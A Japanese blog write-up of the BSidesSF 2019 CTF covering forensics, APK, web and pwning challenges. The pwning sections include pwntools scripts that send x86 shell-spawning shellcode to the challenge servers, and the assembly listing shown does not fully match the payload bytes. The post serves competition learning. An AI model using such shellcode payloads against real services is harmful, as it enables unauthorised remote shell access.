みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

BSidesSF 2019 writeup

はじめに

GrowthKeysは元々みんなで勉強するようのチームで実はCTFtimeにも登録してませんでした。ということでKaitoさんと新しくStarrySkyを結成しました!話はもっと前からあったのですが大学受験なども合わさってなかなか決められませんでした…ついにです!
というわけでそんな記念すべきStarrySky最初のCTFとなったBSidesSF 2019について書いていきます。
自分たちのチームは300ポイントで84位でした。元々100位以内入ればいいかなーって思ってやってたのですがもうちょっとポイントが伸ばせそうだったのでちょっと残念です。
f:id:mi__tsu:20190305235728j:plain

以下、常体で自分の解いた問題のwriteupを書いていきます。

__ blink.apk __

apk問。とりあえずblink.apkを展開してみる。

$ unzip blink.apk
$ dex2jar classes.dex
$ unzip classes-dex2jar.jar
$ jad -s java -d src -r com/example/blink/*.class
$ cd src/com/example/blink/
$ ls
BuildConfig.java  MainActivity.java  R.java  r2d2.java

r2d2.javaに明らかに怪しいプログラムがあるので読んでみる。

byte abyte0[] = Base64.decode(" data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==".split(",")[1], 0);

よくわからない長いやつはjpegファイルをBase64エンコードしたものだと言うことがわかったので自力でデコードしてみる。

echo "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==" | base64 -d > out.jpeg
feh out.jpeg

f:id:mi__tsu:20190305235756j:plain
フラグゲット。

[Forensics 100pts] thekey

__ thekey.pcapng __

wiresharkでthekey.pcapngで開いてみるとUSB Protcolの通信データだった。URB_INTERRUPT inがたくさん続いていたのでUSBキーボードの入力データと予想。実際Leftover Capture Dataにもそれっぽい値がいっぱい入ってた。
f:id:mi__tsu:20190306000320p:plain

というわけでLeftover Capture Dataを取り出してキー入力を見てみる。

$ tshark -r thekey.pcapng -T fields -e usb.capdata  | sed '/^$/d' > data
$ cat data
00:00:00:00:00:00:00:00
00:00:19:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:0c:10:00:00:00:00
00:00:10:2c:00:00:00:00
00:00:2c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:00:00:00:00:00:00
...

HIDのキーコード表と照らし合わせてキー入力を復元してみる。本当はスクリプトを書くべきだったがそんなに分量が多くなかったので面倒くさくて書いてない。
"vim flaag.txtiThe flaag is ctfvbUA{my_favorite_editor_is_vim}hhhhhhhhhhhhhhhhhhhauvi{U:wq"
hhhhhhとかvbUAとかなんだよって思ってましたが最後に:wqとあるのでvimのコマンドと予想。実際にこのキー入力どおりシェルで入力してみるとフラグゲット。イギリスではfavoriteじゃなくてfavouriteと書くらしい。へー。何とは言わないが同意である。
CTF{MY_FAVOURITE_EDITOR_IS_VIM}

[Forensics 10pts] slashslash

__ flag.zip __

よくわかんないけど解凍してみる。

$ unzip flag.zip 
Archive:  flag.zip
SevenPinLock0123456
 extracting: flag.aes128cbc

よくわかんないコメント"SevenPinLock0123456"とaes128cbcで暗号化されたフラグが出てきた。問題のポイント的にaesの脆弱性をつくものでないとなんとなくわかるので試しに複合してみる。パスワードを要求されたのでよくわかんないけどzipのコメントの"SevenPinLock0123456"を使ってみる。

$ openssl aes-128-cbc -d -in flag.aes128cbc 
enter aes-128-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt

なんかエラー出た。opensslわからん。 -md md5 つけてみる。

$ openssl aes-128-cbc -d -in flag.aes128cbc -md md5
enter aes-128-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
CTF{always_add_comments}

フラグゲット!

[101 Forensics 50pts] zippy

__ zippy.pcapng __


zippyって言うくらいだしなんか出てくるだろと思ってbinwalk。やっぱりzipが出てきた。unzipしようとするとパスワードを求められたのでこれをpcapngファイルから見つければいいということがわかった。

$ binwalk -e zippy.pcapng
$ cd _zippy.pcapng.extracted
$ ls
4DE.zip flag.txt
$ cat flag.txt
$ unzip 4DE.zip
Archive:  4DE.zip
[4DE.zip] flag.txt password: 
   skipping: flag.txt                incorrect password
$ wireshark ../zippy.pcapng $

TCPストリームを追跡してみる。
f:id:mi__tsu:20190306003717p:plain

多分stringsでも出る。

unzip -P supercomplexpassword flag.zip というコマンドで圧縮されたことがわかるのでパスワードがsupercomplexpasswordであることがわかった。これで解凍できる。
フラグゲット!
CTF{this_flag_is_your_flag}

最初引っ掛けかと思ったので通ったときは驚いた。

[101 Web 1pts] futurella

__ Location - https://futurella-85e75f52.challenges.bsidessf.net/ __

書くまでもないけど一応書く。
f:id:mi__tsu:20190306004208p:plain

エイリアンの文字がいっぱいあって読めない。置換式暗号かなー面倒くさい…。と思ったら宇宙人の文字がコピーできた。
"
Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is CTF{bring_it_back}
"
フラグゲット!
他の星でも文字コードは同じだったようだ。

[101 Pwning 25pts] runit

__ Location - runit-5094b2cb.challenges.bsidessf.net:5252 __
__ runit __

接続してみるとなんか適当に入力できて、よくわかんないけどSIGSEGVでた。
runitを逆アセンブルして読むとどうやら入力された文字をそのまま実行しているらしい。つまりシェルコードを送ればいい。x86用で大丈夫っぽい。

コードどぺ。

from pwn import *

r = remote("runit-5094b2cb.challenges.bsidessf.net", 5252)
# r = process("./runit")

payload = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"

r.sendline(payload)

r.interactive()

一応このシェルコードのアセンブリを書いておく。

31 d2                   xor    edx,edx
52                      push   edx
68 2f 2f 73 68          push   0x68732f2f
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
52                      push   edx
53                      push   ebx
89 e1                   mov    ecx,esp
8d 42 0b                lea    eax,[edx+0xb]
cd 80                   int    0x80

シェルが取れたのであとは /home/ctf/flag.txt を読むだけ。
フラグゲット!
CTF{you_ran_it}

[101 Pwning 52pts] runitplusplus

_ Location - runitplusplus-a36bf652.challenges.bsidessf.net:5353 _
_ runitplusplus _

runitの続きみたいなやつ。runitと同じようにシェルコードをそのまま送ってもだめだったのでしっかり逆アセンブル結果を読んでみた。
一見コードは複雑だが最終的な結果は簡単で、読み込んだ文字列を前後ろ反転させて実行していた。ということでx86の適当なシェルコードを反転させて送ればいい。
と思ったがここには罠があった。

実は文字列を送る際必ず一番最後に改行文字(0xa)が含まれてしまう。この改行文字も含めて前後ろ反転させるため実際に送られるシェルコードは必ず "\x0a\xde\xad\xbe\xef..." という形になってしまう。リトルエンディアンに注意すると実際に実行されるコードは "\xbe\xad\xde\x0a..." という形になり、自分が送りたいコードとは別になってしまう。

ここで \x0a から始まるシェルコードを作ってそれをうまく並び替えればいいと考えた。

コードどぺ

from pwn import *

r = remote("runitplusplus-a36bf652.challenges.bsidessf.net", 5353)
#r = process("./runitplusplus")

payload = "\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\x0a"[::-1]

r.sendline(payload)

r.interactive()

このコードのアセンブリについて。runitで使ったシェルコードをちょっとだけ改造した。並び替えを戻した実際のシェルコードは"\x0a\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"。

これでシェルが起動できるのであとは /home/ctf/flag.txt を読めばいい。
フラグゲット!
{ti_nar_uoy}FTC

[101 2pts] Trivia 1

これも書くまでもないが書く。
My voice is my ________. Verify me. と言われてるのでググる

フラグゲット!
passport

感想

敬体に戻します。
結構惜しいところまでいって最後の一押しができない問題がいくつかありちょっと残念でした。順位は目標に到達できましたがもう少しいけたと思うと悔しいです。復習頑張りたいです。
やっぱりCTFは楽しいです。お疲れさまでした。